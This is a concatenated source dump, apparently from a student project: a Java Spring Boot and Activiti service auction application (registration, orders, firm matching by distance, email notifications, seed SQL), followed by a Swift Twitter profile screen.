this.offersDeadline = offersDeadline;
}
public Long getOffersLimit() {
return offersLimit;
}
public void setOffersLimit(Long offersLimit) {
this.offersLimit = offersLimit;
}
public Date getServiceDeadline() {
return serviceDeadline;
}
public void setServiceDeadline(Date serviceDeadline) {
this.serviceDeadline = serviceDeadline;
}
public List<Firm> getFirms() {
return firms;
}
public void setFirms(List<Firm> firms) {
this.firms = firms;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
}
<file_sep>/auction/src/main/java/com/upp/auction/offer/Offer.java
package com.upp.auction.offer;
import java.io.Serializable;
import java.util.Date;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.ManyToOne;
import com.upp.auction.firm.Firm;
import com.upp.auction.order.OrderS;
@Entity
public class Offer implements Serializable{
/**
*
*/
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
private Date deadline;
private Long price;
@ManyToOne
private OrderS order;
@ManyToOne
private Firm firm;
public Offer() {
super();
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public Date getDeadline() {
return deadline;
}
public void setDeadline(Date deadline) {
this.deadline = deadline;
}
public Long getPrice() {
return price;
}
public void setPrice(Long price) {
this.price = price;
}
public OrderS getOrder() {
return order;
}
public void setOrder(OrderS order) {
this.order = order;
}
public Firm getFirm() {
return firm;
}
public void setFirm(Firm firm) {
this.firm = firm;
}
}
<file_sep>/auction/src/main/java/com/upp/auction/response/RegistrationResponse.java
package com.upp.auction.response;
import java.util.Map;
public class RegistrationResponse {
private String status;
private Long userId;
Map<String, Object> taskMap;
public RegistrationResponse() {
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public Map<String, Object> getTaskMap() {
return taskMap;
}
public void setTaskMap(Map<String, Object> taskMap) {
this.taskMap = taskMap;
}
public Long getUserId() {
return userId;
}
public void setUserId(Long userId) {
this.userId = userId;
}
}
<file_sep>/auction/src/main/java/com/upp/auction/user/UserRepository.java
package com.upp.auction.user;
import org.springframework.data.repository.PagingAndSortingRepository;
public interface UserRepository extends PagingAndSortingRepository<User, Long> {
public User findOneByUsername(String username);
public User findOneByConfirmationCode(String confirmationCode);
}
<file_sep>/auction/src/main/java/com/upp/auction/registration/RegistrationController.java
package com.upp.auction.registration;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import org.activiti.engine.FormService;
import org.activiti.engine.IdentityService;
import org.activiti.engine.RepositoryService;
import org.activiti.engine.RuntimeService;
import org.activiti.engine.TaskService;
import org.activiti.engine.repository.ProcessDefinition;
import org.activiti.engine.runtime.Execution;
import org.activiti.engine.task.Task;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.view.RedirectView;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.maps.GeoApiContext;
import com.google.maps.GeocodingApi;
import com.google.maps.model.GeocodingResult;
import com.upp.auction.category.Category;
import com.upp.auction.category.CategoryService;
import com.upp.auction.firm.Firm;
import com.upp.auction.firm.FirmService;
import com.upp.auction.requests.OrderRequest;
import com.upp.auction.requests.RegistrationFirmRequest;
import com.upp.auction.requests.RegistrationRequest;
import com.upp.auction.response.RegistrationResponse;
import com.upp.auction.user.EnumRole;
import com.upp.auction.user.User;
import com.upp.auction.user.UserService;
@RestController
@CrossOrigin(origins = "http://localhost:4200")
@RequestMapping("/registration")
public class RegistrationController {
private BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
@Autowired
RuntimeService runtimeService;
@Autowired
TaskService taskService;
@Autowired
RepositoryService repositoryService;
@Autowired
UserService userService;
@Autowired
CategoryService categoryService;
@Autowired
FirmService firmService;
@Autowired
FormService formService;
@Autowired
IdentityService identityService;
// @PostMapping
// public ResponseEntity<RegistrationResponse> createUser(@RequestBody RegistrationRequest request) {
// EnumRole role = EnumRole.ROLE_USER;
// if (request.getRole() == 2)
// role = EnumRole.ROLE_FIRM;
// User user = new User(request.getUsername(), encoder.encode(request.getPassword()), request.getEmail(),
// request.getFirstName(), request.getLastName(), request.getAddress(), request.getPlace(),
// request.getZipCode(), role, UUID.randomUUID().toString(), false);
// GeoApiContext context = new GeoApiContext();
// context.setApiKey("<KEY>");
// GeocodingResult[] results;
// try {
// results = GeocodingApi.geocode(context, user.getCity()).await();
// System.out.println("Grad: " + user.getCity());
// //Gson gson = new GsonBuilder().setPrettyPrinting().create();
// System.out.println("Longitude: " + (long)results[0].geometry.location.lng);
// user.setLongitude((long) results[0].geometry.location.lng);
// System.out.println("Latitude: " + (long) results[0].geometry.location.lat);
//
// user.setLatitude((long) results[0].geometry.location.lat);
// // u.setLatitude(Long.parseLong(gson.toJson(results[0].geometry.location.lat)));
// // u.setLongitude(Long.parseLong(gson.toJson(results[0].geometry.location.lng)))'
// } catch (Exception e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// }
//
// User savedUser = userService.save(user);
//
// String taskId = getTask();
// Task task = taskService.createTaskQuery().active().taskId(taskId).singleResult();
// HashMap<String, Object> variables = (HashMap<String, Object>) runtimeService
// .getVariables(task.getProcessInstanceId());
// variables.put("user", savedUser);
// taskService.complete(taskId, variables);
// RegistrationResponse response = new RegistrationResponse();
// if (role.equals(EnumRole.ROLE_FIRM)) {
// Task nextTask = taskService.createTaskQuery().active().list()
// .get(taskService.createTaskQuery().active().list().size() - 1);
// Map<String, Object> taskMap = new HashMap<String, Object>();
// taskMap.put("taskId", nextTask.getId());
// taskMap.put("name", nextTask.getName());
// response.setTaskMap(taskMap);
// response.setUserId(savedUser.getId());
// }
// return new ResponseEntity<>(response, HttpStatus.OK);
// }
@PostMapping
public ResponseEntity<RegistrationResponse> newRegistration(@RequestBody RegistrationRequest request) {
ProcessDefinition processDefiniton = repositoryService.createProcessDefinitionQuery().processDefinitionKey("registration").latestVersion().singleResult();
HashMap<String, Object> result = new HashMap<String, Object>();
Map<String,String> map = createMap(request);
if(request.getRole() == 1) {
map.put("role","ROLE_USER");
result = null;
}
else {
map.put("role","ROLE_FIRM");
}
formService.submitStartFormData(processDefiniton.getId(), map);
RegistrationResponse response = new RegistrationResponse();
User user = userService.findOneByUsername(request.getUsername());
response.setTaskMap(result);
response.setUserId(user.getId());
return new ResponseEntity<>(response,HttpStatus.OK);
}
private Map<String,String> createMap(RegistrationRequest request){
ObjectMapper mapper = new ObjectMapper();
@SuppressWarnings("unchecked")
Map<String, Object> map = mapper.convertValue(request, Map.class);
Map<String, String> stringMap = new HashMap<String, String>();
for(String strKey: map.keySet())
{
if(strKey.equals("serviceDeadline") || strKey.equals("offersDeadline")) {
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy hh:mm:ss.SSS");
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(Long.valueOf((Long) map.get(strKey)));
map.put(strKey, formatter.format(calendar.getTime()));
}
stringMap.put(strKey, String.valueOf(map.get(strKey)));
}
return stringMap;
}
// @PostMapping("/firm")
// public ResponseEntity<String> createFirm(@RequestBody RegistrationFirmRequest request) {
// if(request.getCategory() == null || request.getDistanceArea() == null || request.getTaskId() == null || request.getUserId() == 0) {
// return new ResponseEntity<String>("Bad request", HttpStatus.BAD_REQUEST);
//
// }
// User user = userService.findOne(request.getUserId());
// Category category = categoryService.findOne(request.getCategory());
// Firm firm = new Firm();
// firm.setCategory(category);
// firm.setDistanceArea(request.getDistanceArea());
// firm.setUser(user);
// firm = firmService.save(firm);
// Task task = taskService.createTaskQuery().active().taskId(request.getTaskId()).singleResult();
// HashMap<String, Object> variables = (HashMap<String, Object>) runtimeService.getVariables(task.getProcessInstanceId());
// variables.put("user", user);
// System.out.println(variables);
// taskService.complete(request.getTaskId(), variables);
// return new ResponseEntity<String>("Firm success added", HttpStatus.CREATED);
// }
@PostMapping("/firm")
public ResponseEntity<String> newCreateFirm(@RequestBody RegistrationFirmRequest request) {
User user = userService.findOne(request.getUserId());
Map<String, String> map = new HashMap<String, String>();
map.put("distanceArea", request.getDistanceArea().toString());
map.put("category", request.getCategory().toString());
List<Task> taskList = taskService.createTaskQuery().taskAssignee(user.getUsername()).list();
formService.submitTaskFormData(taskList.get(0).getId(), map);
return new ResponseEntity<String>("Firm success added", HttpStatus.CREATED);
}
@GetMapping("/confirm/{userId}/{taskId}")
public RedirectView confirmRegistration(@PathVariable String userId, @PathVariable String taskId) {
Execution execution = runtimeService.createExecutionQuery().processInstanceId(taskId)
.signalEventSubscriptionName("activateUser").singleResult();
runtimeService.signalEventReceived("activateUser", execution.getId());
System.out.println(userId);
return new RedirectView("http://localhost:4200");
}
private String getTask() {
runtimeService.startProcessInstanceByKey("registratonProcess");
Task task = taskService.createTaskQuery().active().list()
.get(taskService.createTaskQuery().active().list().size() - 1);
return task.getId();
}
}
<file_sep>/auction/src/main/java/com/upp/auction/registration/RegistrationService.java
package com.upp.auction.registration;
import java.util.UUID;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import org.activiti.engine.IdentityService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.stereotype.Component;
import com.google.maps.GeoApiContext;
import com.google.maps.GeocodingApi;
import com.google.maps.model.GeocodingResult;
import com.upp.auction.category.Category;
import com.upp.auction.category.CategoryService;
import com.upp.auction.firm.Firm;
import com.upp.auction.firm.FirmService;
import com.upp.auction.user.EnumRole;
import com.upp.auction.user.User;
import com.upp.auction.user.UserService;
@Component
public class RegistrationService {
@Autowired
JavaMailSender mailSender;
@Autowired
UserService userService;
@Autowired
FirmService firmService;
private BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
@Autowired
private CategoryService categoryService;
@Autowired
IdentityService identityService;
public void sendMail(User user,String task) {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper helper;
try {
helper = new MimeMessageHelper(message, true);
helper.setFrom("<EMAIL>");
helper.setTo(user.getEmail());
helper.setSubject("Registratcija");
helper.setText("Please click on link to confirm your registration"
+ ""
+ " http://localhost:8081/registration/confirm/"+user.getConfirmationCode()+"/"+task);
mailSender.send(message);
} catch (MessagingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("Mail sent");
}
public User save(String firstName,String lastName,String email,String username,String password,
String address,String place,Long zipCode,EnumRole role) {
User user = new User(username, encoder.encode(password), email,
firstName, lastName, address, place,
zipCode, role, UUID.randomUUID().toString(), false);
GeoApiContext context = new GeoApiContext();
context.setApiKey("<KEY>");
GeocodingResult[] results;
try {
results = GeocodingApi.geocode(context, user.getCity()).await();
System.out.println("Grad: " + user.getCity());
//Gson gson = new GsonBuilder().setPrettyPrinting().create();
System.out.println("Longitude: " + (long)results[0].geometry.location.lng);
user.setLongitude((long) results[0].geometry.location.lng);
System.out.println("Latitude: " + (long) results[0].geometry.location.lat);
user.setLatitude((long) results[0].geometry.location.lat);
// u.setLatitude(Long.parseLong(gson.toJson(results[0].geometry.location.lat)));
// u.setLongitude(Long.parseLong(gson.toJson(results[0].geometry.location.lng)))'
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
userService.save(user);
createMembership(user, user.getRole().toString());
return user;
}
public Firm saveFirm(Long category,Long distanceArea,User user) {
Category cat = categoryService.findOne(category);
Firm firm = new Firm();
firm.setCategory(cat);
firm.setDistanceArea(distanceArea.intValue());
firm.setUser(user);
firm = firmService.save(firm);
return firm;
}
public void activateUser(Long id) {
User user = userService.findOne(id);
user.setConfirmed(true);
userService.save(user);
//createMembership(user, user.getRole().toString());
System.out.println("Aktivirao");
}
public void deleteUser(Long id) {
Firm firm = firmService.findByUserId(id);
if(firm != null) {
firmService.delete(firm.getId());
}else {
userService.delete(id);
}
System.out.println("Obrisao");
}
private void createMembership(User u,String role) {
org.activiti.engine.identity.User user1 = identityService.newUser(u.getUsername());
user1.setPassword(<PASSWORD>());
user1.setEmail(u.getEmail());
user1.setFirstName(u.getFirstName());
user1.setLastName(u.getLastName());
identityService.saveUser(user1);
identityService.createMembership(user1.getId(),role);
}
}
<file_sep>/auction/src/main/java/com/upp/auction/order/OrderServiceImpl.java
package com.upp.auction.order;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.List;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import javax.transaction.Transactional;
import static java.lang.Math.toIntExact;
import org.activiti.engine.IdentityService;
import org.activiti.engine.RuntimeService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Service;
import com.upp.auction.category.Category;
import com.upp.auction.category.CategoryRepository;
import com.upp.auction.firm.Firm;
import com.upp.auction.firm.FirmRepository;
import com.upp.auction.firm.FirmService;
import com.upp.auction.offer.Offer;
import com.upp.auction.user.User;
import com.upp.auction.user.UserService;
@Service
@Transactional
public class OrderServiceImpl implements OrderService {
@Autowired
RuntimeService runtimeService;
@Autowired
OrderRepository repository;
@Autowired
CategoryRepository categoryRepository;
@Autowired
FirmRepository firmRepository;
@Autowired
JavaMailSender mailSender;
@Autowired
UserService userService;
@Autowired
IdentityService identityService;
@Autowired
FirmService firmService;
@Override
public List<OrderS> findAll() {
// TODO Auto-generated method stub
return (List<OrderS>) repository.findAll();
}
@Override
public OrderS findOne(Long id) {
// TODO Auto-generated method stub
return repository.findOne(id);
}
@Override
public void delete(Long id) {
// TODO Auto-generated method stub
repository.delete(id);
}
@Override
public OrderS save(Long category, String description, Long estimatedValue, Date offersDeadline, Long offersLimit,
Date serviceDeadline,String instanceId) {
SecurityContext context = SecurityContextHolder.getContext();
Authentication authentication = context.getAuthentication();
User user = userService.findOneByUsername(authentication.getName());
Category cat = categoryRepository.findOne(category);
OrderS order = new OrderS(cat,description,estimatedValue,offersDeadline,offersLimit,serviceDeadline);
order.setUser(user);
repository.save(order);
List<Firm> firmsByCategory= firmRepository.findByCategoryId(category);
Collections.sort(firmsByCategory,
(o1, o2) -> o2.getAvgRank().compareTo(o1.getAvgRank()));
List<Firm> finalList = new ArrayList<Firm>();
for(Firm f : firmsByCategory) {
if(f.getDistanceArea()>distance(f.getUser().getLatitude(), user.getLatitude(), f.getUser().getLongitude(), user.getLongitude(), 0, 0)) {
finalList.add(f);
f.getOrders().add(order);
firmRepository.save(f);
}
}
int limit = toIntExact(order.getOffersLimit());
ArrayList<Firm> finalSubList = (ArrayList<Firm>) finalList;
if(limit < finalList.size())
finalSubList= new ArrayList<Firm>(finalList.subList(0, limit));
order.setFirms(finalSubList);
runtimeService.setVariable(instanceId, "offers", new ArrayList<Offer>());
runtimeService.setVariable(instanceId, "numOfRepeats", 0);
return order;
}
public void notifyEmptyFimsList(OrderS order) {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper helper;
try {
helper = new MimeMessageHelper(message, true);
helper.setFrom("<EMAIL>");
helper.setTo(order.getUser().getEmail());
helper.setSubject("Service request ");
helper.setText("<div style = 'border:1px solid gray;padding:20px;font-size:20px;'>Dear "+order.getUser().getFirstName()+ " "
+ "there is no any firm that belongs to requested category of business."
+ "<div><a href='https://localhost:4200'>Home page</a></div></div>",true);
mailSender.send(message);
System.out.println("Mail sent.");
} catch (MessagingException e) {
e.printStackTrace();
}
}
public void checkByMailToContinue(OrderS order,String definitionId,String instanceid) {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper helper;
try {
helper = new MimeMessageHelper(message, true);
helper.setFrom("<EMAIL>");
helper.setTo(order.getUser().getEmail());
helper.setSubject("Service request ");
helper.setText("<div style='border:1px solid gray;font-size:20px;padding:20px;'>The number of firms that you entered to apply is not available."
+ "\nCurrently available number of firms"
+ " in category " +order.getCategory().getName()+ " is <span style='color:red'>"+ order.getFirms().size()+"</span>"
+ ".<br/>If you want to continue with that number click this link: "
+ " <a href='http://localhost:8081/order/acceptLess?answer=true&processInstance="+instanceid+"&processDefinition="+definitionId+"'>Accept</a>"
+ "<br/>If you want to cancel request click this link: "
+ "<a href='http://localhost:8081/order/acceptLess?answer=false&processInstance="+instanceid+"&processDefinition="+definitionId+"'>Cancel</a></div>",true);
mailSender.send(message);
} catch (MessagingException e) {
e.printStackTrace();
}
}
public String notifyFirm(Firm firm, List<Offer> offers) {
for(Offer o :offers) {
if(o.getFirm().getId().equals(firm.getId())) {
return null;
}
}
String assigne = "";
User agent = firm.getUser();
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper helper;
try {
helper = new MimeMessageHelper(message, true);
helper.setFrom("<EMAIL>");
helper.setTo(firm.getUser().getEmail());
helper.setSubject("Service request");
helper.setText("<div style='border:1px solid gray;font-size:20px;padding:20px;'>"
+ "There is service request ! Log in to your account to send an offer ! </div>",true);
mailSender.send(message);
org.activiti.engine.identity.User activitiUser = identityService.createUserQuery().userId(agent.getUsername()).singleResult();
assigne = activitiUser.getId();
} catch (MessagingException e) {
e.printStackTrace();
}
return assigne;
}
public OrderS setNewDeadline(Date newOffersDeadline,OrderS order) {
order.setOffersDeadline(newOffersDeadline);
return order;
}
public OrderS createNewList(OrderS order,List<Offer> offers,String instanceId) {
List<Firm> firmsByCategory= firmRepository.findByCategoryId(order.getCategory().getId());
List<Firm> newList = new ArrayList<>();
for(Firm f : firmsByCategory) {
if(!contains(order.getFirms(), f.getId())) {
newList.add(f);
}
}
order.setFirms(newList);
Integer numOfRepeats =(Integer) runtimeService.getVariable(instanceId, "numOfRepeats");
numOfRepeats++;
runtimeService.setVariable(instanceId, "numOfRepeats", numOfRepeats);
runtimeService.setVariable(instanceId, "offers", new ArrayList<Offer>());
repository.save(order);
return order;
}
public void test(List<Offer> offers,String instanceId) {
System.out.println(offers.size());
runtimeService.setVariable(instanceId, "offers", offers);
}
public void test1(){
System.out.println("Kraj proces, ne sme vise od 2 puta da se ponovi proces!");
}
public boolean contains(final List<Firm> list, final Long id){
return list.stream().filter(o -> o.getId().equals(id)).findFirst().isPresent();
}
public static double distance(double lat1, double lat2, double lon1,
double lon2, double el1, double el2) {
final int R = 6371; // Radius of the earth
double latDistance = Math.toRadians(lat2 - lat1);
double lonDistance = Math.toRadians(lon2 - lon1);
double a = Math.sin(latDistance / 2) * Math.sin(latDistance / 2)
+ Math.cos(Math.toRadians(lat1)) * Math.cos(Math.toRadians(lat2))
* Math.sin(lonDistance / 2) * Math.sin(lonDistance / 2);
double c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
double distance = R * c * 1000; // convert to meters
double height = el1 - el2;
distance = Math.pow(distance, 2) + Math.pow(height, 2);
return Math.sqrt(distance);
}
public void saveMarks(Long markForClient,Long markForFirm,User user,Firm firm) {
firm.getRanks().add(markForFirm.intValue());
firmService.save(firm);
user.getRanks().add(markForClient.intValue());
userService.save(user);
}
public void saveMarkForClient(Long markForClient,User user) {
user.getRanks().add(markForClient.intValue());
userService.save(user);
}
public void saveMarkForFirm(Long markForFirm,Firm firm) {
firm.getRanks().add(markForFirm.intValue());
firmService.save(firm);
}
}
<file_sep>/auction/src/main/java/com/upp/auction/AuctionApplication.java
package com.upp.auction;
import org.activiti.engine.IdentityService;
import org.activiti.engine.identity.Group;
import org.activiti.engine.identity.User;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class AuctionApplication {
public static void main(String[] args) {
SpringApplication.run(AuctionApplication.class, args);
}
@Bean
InitializingBean usersAndGroupsInitializer(final IdentityService identityService) {
return new InitializingBean() {
public void afterPropertiesSet() throws Exception {
Group group1 = identityService.newGroup("ROLE_USER");
group1.setName("ROLE_USER");
group1.setType("assignement");
identityService.saveGroup(group1);
Group group2 = identityService.newGroup("ROLE_FIRM");
group2.setName("ROLE_FIRM");
group2.setType("assignement");
identityService.saveGroup(group2);
User user1 = identityService.newUser("janko");
user1.setPassword("123");
user1.setEmail("<EMAIL>");
user1.setFirstName("Janko");
user1.setLastName("Jankovic");
identityService.saveUser(user1);
identityService.createMembership(user1.getId(),"ROLE_USER");
User user2 = identityService.newUser("marko");
user2.setPassword("123");
user2.setEmail("<EMAIL>");
user2.setFirstName("Marko");
user2.setLastName("Markovic");
identityService.saveUser(user2);
identityService.createMembership(user2.getId(),"ROLE_USER");
User user3 = identityService.newUser("pasa");
user3.setPassword("123");
user3.setEmail("<EMAIL>");
user3.setFirstName("pasa");
user3.setLastName("mrkalj");
identityService.saveUser(user3);
identityService.createMembership(user3.getId(),"ROLE_FIRM");
User user4 = identityService.newUser("scepan");
user4.setPassword("123");
user4.setEmail("<EMAIL>");
user4.setFirstName("Scepan");
user4.setLastName("Scekic");
identityService.saveUser(user4);
identityService.createMembership(user4.getId(),"ROLE_FIRM");
}
};
}
}<file_sep>/auction/src/main/java/com/upp/auction/category/CategoryService.java
package com.upp.auction.category;
import java.util.List;
public interface CategoryService {
public Category findOne(Long id);
public Category save(Category cat);
public void delete(Long id);
public List<Category> findAll();
}
<file_sep>/auction/src/main/java/com/upp/auction/firm/FirmController.java
package com.upp.auction.firm;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.activiti.engine.FormService;
import org.activiti.engine.RepositoryService;
import org.activiti.engine.RuntimeService;
import org.activiti.engine.TaskService;
import org.activiti.engine.task.Task;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.upp.auction.category.CategoryService;
import com.upp.auction.order.OrderS;
import com.upp.auction.order.OrderService;
import com.upp.auction.response.OrderResponse;
import com.upp.auction.user.User;
import com.upp.auction.user.UserService;
@RestController
@CrossOrigin(origins = "http://localhost:4200")
@RequestMapping("/firm")
public class FirmController {
@Autowired
RuntimeService runtimeService;
@Autowired
TaskService taskService;
@Autowired
RepositoryService repositoryService;
@Autowired
FormService formService;
@Autowired
OrderService orderService;
@Autowired
CategoryService categoryService;
@Autowired
UserService userService;
@PreAuthorize("hasRole('ROLE_FIRM')")
@GetMapping("/orders")
public Map<String,OrderResponse> getOrders(){
Map<String,OrderResponse> result = new HashMap<String,OrderResponse>();
SecurityContext context = SecurityContextHolder.getContext();
Authentication authentication = context.getAuthentication();
User user = userService.findOneByUsername(authentication.getName());
List<Task> taskList = taskService.createTaskQuery().taskAssignee(user.getUsername()).list();
for(Task t : taskList) {
Map<String,Object> variables = runtimeService.getVariables(t.getProcessInstanceId());
OrderS order = (OrderS) variables.get("order");
String firmAdditionalInfo = (String) variables.get("additionalInfo");
Long rang = (Long) variables.get("range");
OrderResponse response = new OrderResponse(order.getId(), order.getCategory().getId(), order.getDescription(), order.getEstimatedValue(), order.getOffersDeadline(),
order.getOffersLimit(), order.getServiceDeadline(),order.getUser().getFirstName(),order.getUser().getLastName(),t.getName(),firmAdditionalInfo,rang);
result.put(t.getId(), response);
}
//Map<String,Object> variables = runtimeService.getVariables(taskList.get(0).getProcessInstanceId());
return result;
}
}
<file_sep>/auction/src/main/resources/import.sql
insert into category(name) values ('prevoz robe');
insert into category(name) values ('marketing');
insert into category(name) values ('gradjevina');
insert into user(address, city, confirmation_code, confirmed, email, first_name, last_name, password, role, username, zip_code,longitude,latitude,avg_rank) values ('<NAME> bb', 'Beograd', null, true, '<EMAIL>', 'Janko', 'Jankovic', '$2a$10$mJudhgdVugjuWJ7/LIF5Genf3uBRLS5/qvozEfsGGTTEsLYRutUye', 'ROLE_USER', 'janko', '11000',20,40,0)
insert into user(address, city, confirmation_code, confirmed, email, first_name, last_name, password, role, username, zip_code,longitude,latitude,avg_rank) values ('<NAME> 23', 'Novi Sad', null, true, '<EMAIL>', 'Marko', 'Markovic', '$2a$10$mJudhgdVugjuWJ7/LIF5Genf3uBRLS5/qvozEfsGGTTEsLYRutUye', 'ROLE_USER', 'marko', '21000',19,45,0)
insert into user(address, city, confirmation_code, confirmed, email, first_name, last_name, password, role, username, zip_code,longitude,latitude,avg_rank) values ('<NAME> bb', 'Beograd', null, true, '<EMAIL>', 'pasa', 'mrkalj', '$2a$10$mJudhgdVugjuWJ7/LIF5Genf3uBRLS5/qvozEfsGGTTEsLYRutUye', 'ROLE_FIRM', 'pasa', '11000',20,40,0)
insert into user(address, city, confirmation_code, confirmed, email, first_name, last_name, password, role, username, zip_code,longitude,latitude,avg_rank) values ('<NAME>', '<NAME>', null, true, '<EMAIL>', 'Scepan', 'Scekic', '$2a$10$mJudhgdVugjuWJ7/LIF5Genf3uBRLS5/qvozEfsGGTTEsLYRutUye', 'ROLE_FIRM', 'scepan', '21000',19,45,0)
insert into user(address, city, confirmation_code, confirmed, email, first_name, last_name, password, role, username, zip_code,longitude,latitude,avg_rank) values ('<NAME>', '<NAME>', null, true, '<EMAIL>', 'Mika', 'mikic', '$2a$10$mJudhgdVugjuWJ7/LIF5Genf3uBRLS5/qvozEfsGGTTEsLYRutUye', 'ROLE_FIRM', 'mika', '21000',19,44,0)
insert into user(address, city, confirmation_code, confirmed, email, first_name, last_name, password, role, username, zip_code,longitude,latitude,avg_rank) values ('<NAME>', 'Nis', null, true, '<EMAIL>', 'Pera', 'Peric', '$2a$10$mJudhgdVugjuWJ7/LIF5Genf3uBRLS5/qvozEfsGGTTEsLYRutUye', 'ROLE_FIRM', 'pera', '21000',21,43,02368)
insert into firm(distance_area, name, category_id,user_id,avg_rank) values (40, 'firma 1', 3,3,0);
insert into firm(distance_area, name, category_id,user_id,avg_rank) values (10, 'firma 2', 3,4,0);
insert into firm(distance_area, name, category_id,user_id,avg_rank) values (10, 'firma 3', 3,5,0);
insert into firm(distance_area, name, category_id,user_id,avg_rank) values (10, 'firma 4', 1,6,0);
insert into firm_ranks(firm_id, ranks) values (1,3);
insert into firm_ranks(firm_id, ranks) values (1,3);
insert into firm_ranks(firm_id, ranks) values (1,4);
insert into firm_ranks(firm_id, ranks) values (1,5);
insert into firm_ranks(firm_id, ranks) values (1,3);
insert into firm_ranks(firm_id, ranks) values (2,4);
insert into firm_ranks(firm_id, ranks) values (2,5);
insert into firm_ranks(firm_id, ranks) values (2,5);
insert into firm_ranks(firm_id, ranks) values (2,5);
insert into firm_ranks(firm_id, ranks) values (4,1);
insert into firm_ranks(firm_id, ranks) values (3,1);
insert into firm_ranks(firm_id, ranks) values (3,4);
insert into firm_ranks(firm_id, ranks) values (4,3); | c36e810bb40855814f4a17207468d54e2b4ee8ab | [
"Java",
"SQL"
] | 15 | Java | daniloacim/test | e56c4614f621ec8397db3a7b2900c48677f6056c | 3d85ea2c90ce73e7e4061545745b756137dfa9f5 |
refs/heads/master | <file_sep>//
// ProfileViewController.swift
// Twitter
//
// Created by <NAME> on 3/4/21.
// Copyright © 2021 Dan. All rights reserved.
//
import UIKit
class ProfileViewController: UIViewController {
@IBOutlet weak var profileImageView: UIImageView!
@IBOutlet weak var nameLabel: UILabel!
@IBOutlet weak var tagLineLabel: UILabel!
@IBOutlet weak var tweetsLabel: UILabel!
@IBOutlet weak var followingLabel: UILabel!
@IBOutlet weak var followersLabel: UILabel!
var userInfo = NSDictionary()
override func viewDidLoad() {
super.viewDidLoad()
let url = "https://api.twitter.com/1.1/account/verify_credentials.json"
let params = ["email": "<EMAIL>"]
TwitterAPICaller.client?.getDictionaryRequest(url: url, parameters: params, success: { (user: NSDictionary) in
self.nameLabel.text = user["name"] as? String
self.tagLineLabel.text = user["description"] as? String
if (self.tagLineLabel.text?.count == 0) {
self.tagLineLabel.text = "No tagline!"
}
let followingCount = user["friends_count"] as! Int
let followersCount = user["followers_count"] as! Int
let tweetCount = user["statuses_count"] as! Int
var endFollowerStr = "followers"
var endTweetStr = "tweets ."
if (followersCount == 1) {
endFollowerStr = "follower"
}
if (tweetCount == 1) {
endTweetStr = "tweet ."
}
self.followersLabel.text = "\(String(followersCount)) \(endFollowerStr)"
self.tweetsLabel.text = "\(String(tweetCount)) \(endTweetStr)"
self.followingLabel.text = "\(String(followingCount)) following ."
let imageURL = URL(string: (user["profile_image_url_https"] as? String)!)!
let data = try? Data(contentsOf: imageURL)
if let imageData = data {
self.profileImageView.image = UIImage(data: imageData)
self.profileImageView.layer.cornerRadius = self.profileImageView.bounds.width / 2
}
}, failure: { (error) in
print("error getting user info: \(error)")
})
}
/*
// MARK: - Navigation
// In a storyboard-based application, you will often want to do a little preparation before navigation
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
// Get the new view controller using segue.destination.
// Pass the selected object to the new view controller.
}
*/
}
| d112dc7b4913c45a79f141fbc8a7222ec0c2b792 | [
"Swift"
] | 1 | Swift | aryandc/twitter-clone | f2c32c0d1ea91feb021ba37bd794dda0c009d8da | 3c7bcf2175f7ac60611155f8e394e8d6aa4d10ba |
refs/heads/master | <file_sep>var catClickerView = {
init: function () {
